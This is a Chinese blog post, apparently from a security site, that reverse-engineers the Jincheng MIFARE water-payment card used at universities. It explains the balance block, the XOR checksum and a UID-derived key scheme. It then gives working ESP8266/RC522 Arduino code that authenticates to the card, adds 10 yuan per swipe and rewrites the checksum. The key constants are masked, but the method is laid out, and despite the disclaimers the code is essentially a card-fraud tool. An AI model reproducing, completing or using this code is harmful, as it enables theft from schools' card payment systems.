*本文内容仅用于技术讨论,严禁用于任何违法用途。
一、引言
金诚卡这个东西说熟悉的人很熟悉,说不熟悉的人压根就没见过,国内有很多高校都用这款水卡。 这款水卡有两个版本,下图是旧版本的金诚卡(非全加密),另一个版本长的比这个丑(全加密)。虽然全加密和非全加密感觉安全性改善了很多,但是由于其加密密钥,加密方法并没有变化所以还是可以通过旧卡分析出来算法。当然完全可以通过 mfcuk 得到完整的密钥,实现通用修改毕竟算法并没有改变。
二、卡内数据结构一览
首先我们看一下旧卡的(非全加密卡),通过几张卡对比就能发现是一卡一密。
旧卡是12扇区有数据,新卡的话也是12扇区有数据,但是在别的扇区也增加了一些个人信息的数据(估计是如果有人破解了好抓人)。可以看到只有12扇区的KEYA不是默认密钥,其余均为默认密钥。于是我们学校好多人就动起了歪心思。毕竟acr122u这种设备已经泛滥,也不管三七二十一就克隆写入到白卡开始卖(也不分析下卡的数据),然后一个个全被抓(该!)。而新卡为全加密,数据的扇区和块均保持不变。但是密钥的算法还是保持不变的。
Ps.上面这个数据是我在网上收集的,还修改了涉及到学校代码的信息。
三、金钱区块算法分析
12扇区0块为金钱值,通过最没有技术含量的对比法分析哪个位置是金钱的。所以可以得到第5、6、7组 是明显变化的。所以判断这三个和金钱有关。
01 15 02 00 21 86 B1 F1 FFFFFFFFFFFFFFFF |
---|
01 15 02 00 21 85 B2 F1 FFFFFFFFFFFFFFFF |
01 15 02 00 21 84 B3 F1 FFFFFFFFFFFFFFFF |
但是之前还有01 15 02 这三个代码,考研报名的时候就经常见到这个代码(本文代码是假的)。这摆明了就是学校的代码嘛。合着水卡的信息还包含学校代码。
21 86从十六进制转换成10进制,竟然和卡里的钱数*100后一样,所以5 6组就是金钱的位置。那么第七组就是校检位了,防止篡改数据。想想Ic卡最常见的校检方法,结果还是2位。于是我推测是每一组每一组进行异或运算。果真01^15^02^00^21^86的结果是B1。原来学校代码的作用是这个啊,防止跨校买水么。于是此阶段水卡的金钱扇区就解密了。
四、一卡一密解密
这部分不敢太详细说,怕教坏别人。但是通过金钱区块的分析得到生成校检位的是异或运算。那么KEYA是不是也是通过异或得到的?还有为什么KEY结尾四位都是固定的?前面8位变化?uid也是8位?是不是KEYA是根据UID计算出来的+固定值?异或好像是可逆运算啊!这段就说到这里了。
五、大头来了,自制硬件设备
有了KEYA计算规则,还有校检生成方法。可以完美的对任何一张水卡进行充值了(包括新卡,因为除了全加密了其余并没有改变)。
硬件设备包括:
0.96的OLED一个 (i2c)
esp8266nodemcu v1.0 的开发版一个
Rc522模块一个 (spi)
其实本来想用arduino的,但是手头有个不用的esp8266就干脆用上了,把它看作arduino就行了。接线按照下图接入spi和i2c就行了,没啥难的。(主要是我画的电路图太丑了 拿不出手)下图是esp8266的引脚定义,如果你也用esp8266那么可以参照这个。
我自己接完之后长这样。背面我就不拍照了,太丑了,焊工渣死。
代码如下,请注意看注释:
#include <Adafruit_GFX.h>
#include <Adafruit_ssd1306syp.h>
#include <SPI.h>
#include <MFRC522.h>
#include <Adafruit_ssd1306syp.h>
#define SDA_PIN 4 //定义oled的data
#define SCL_PIN 5 //定义oled的clock
#define RST_PIN 10 // 定义rc522的rst
#define SS_PIN 15 //定义rc522的ss (其余的就参照spi和i2c对应的引脚就行了 rc522的RQ悬空 不用接)
MFRC522 mfrc522(SS_PIN, RST_PIN); // 创建MFRC522实例
Adafruit_ssd1306syp display(SDA_PIN, SCL_PIN); //创建oled显示实例
MFRC522::MIFARE_Key keyA;
/**
Initialize.
*/
void setup() {
delay(1000);
display.initialize();
Serial.begin(9600);
while (!Serial);
SPI.begin();
mfrc522.PCD_Init();
pinMode(D0, OUTPUT); //这个是设置板载的LED为输出端口
digitalWrite(D0, HIGH); //这个LED高电平亮低电平灭 所以拉高。
display.setTextSize(3); //欢迎界面
display.setTextColor(WHITE);
display.println("WELCOM");
display.update();
delay(3000);
}
/**
Main loop.
*/
void loop() {
display.clear();//清空显示
//寻找新卡
if ( ! mfrc522.PICC_IsNewCardPresent()) {
return;
}
//选择一个卡
if ( ! mfrc522.PICC_ReadCardSerial())
{
return;
}
//读取uid并byte2string
String UID = "";
for (byte i = 0; i < mfrc522.uid.size; i++) {
UID.concat(String(mfrc522.uid.uidByte[i], HEX));
}
UID.toUpperCase();
display.setTextSize(2);
display.setTextColor(WHITE);
display.setCursor(0, 0);
display.println(UID);
//计算key 这块结合着前面看,已经很清晰的知道怎么计算KEYA了
keyA.keyByte[0] = mfrc522.uid.uidByte[0] ^ 0x**;
keyA.keyByte[1] = mfrc522.uid.uidByte[1] ^ 0x**;
keyA.keyByte[2] = mfrc522.uid.uidByte[2] ^ 0x**;
keyA.keyByte[3] = mfrc522.uid.uidByte[3] ^ 0x**;
keyA.keyByte[4] = 0x**;
keyA.keyByte[5] = 0x**;
String KEY = "";
for (byte i = 0; i < 6; i++) {
KEY.concat(String( keyA.keyByte[i], HEX));
}
KEY.toUpperCase();
//display.print("KEY:");
// display.println(KEY);
//display.update();
byte sector = 12; //扇区
byte blockAddr = 48; //扇区开始块 金额地址
MFRC522::StatusCode status; //状态码
byte buffer[18];
byte size = sizeof(buffer);
// 在trailerBlock块中 使用身份验证密钥A
Serial.println(F("Authenticating using key A..."));
status = (MFRC522::StatusCode) mfrc522.PCD_Authenticate(MFRC522::PICC_CMD_MF_AUTH_KEY_A, blockAddr, &keyA, &(mfrc522.uid));
if (status != MFRC522::STATUS_OK) { //如果状态!=成功
display.println("failed");
display.println(mfrc522.GetStatusCodeName(status)); //输出状态
return;
}
//输出指定扇区当前内容
status = (MFRC522::StatusCode) mfrc522.MIFARE_Read(blockAddr, buffer, &size);
if (status != MFRC522::STATUS_OK) { //如果读取错误输出错误信息
display.println("failed");
display.println(mfrc522.GetStatusCodeName(status)); //输出状态
}
int IntMoney = buffer[5] | buffer[4] << 8; //byte2int
display.print("old:");
display.println(IntMoney / 100.0);
IntMoney = IntMoney + 1000;
buffer[4] = IntMoney >> 8;
buffer[5] = IntMoney;
int IntMoney1 = buffer[5] | buffer[4] << 8; //int2byte
buffer[6] = buffer[0] ^ buffer[1] ^ buffer[2] ^ buffer[3] ^ buffer[4] ^ buffer[5]; //计算校检位
status = (MFRC522::StatusCode) mfrc522.MIFARE_Write(blockAddr, buffer, 16);
if (status != MFRC522::STATUS_OK) { //如果写入失败返回错误状态码
display.println("failed");
display.println(mfrc522.GetStatusCodeName(status)); //输出状态
}
//再读一遍 显示读取后的钱
status = (MFRC522::StatusCode) mfrc522.MIFARE_Read(blockAddr, buffer, &size);
if (status != MFRC522::STATUS_OK) { //如果读取错误输出错误信息
display.println("failed");
display.println(mfrc522.GetStatusCodeName(status)); //输出状态
}
IntMoney = buffer[5] | buffer[4] << 8; //
display.print("new:");
display.println(IntMoney / 100.0);
mfrc522.PICC_HaltA();
// Stop encryption on PCD
mfrc522.PCD_StopCrypto1();
display.update();
digitalWrite(D0, LOW);
delay(500);
digitalWrite(D0, HIGH);
}
这是烧录后的效果,测试效果是刷一次增加10元,下一步准备把wifi利用上,毕竟不能浪费了wifi功能。最后,请大家不要利用本文干坏事哟!
*本文原创作者:包子no,未经许可禁止转载
来源:freebuf.com 2019-03-29 10:00:18 by: 包子no
请登录后发表评论
注册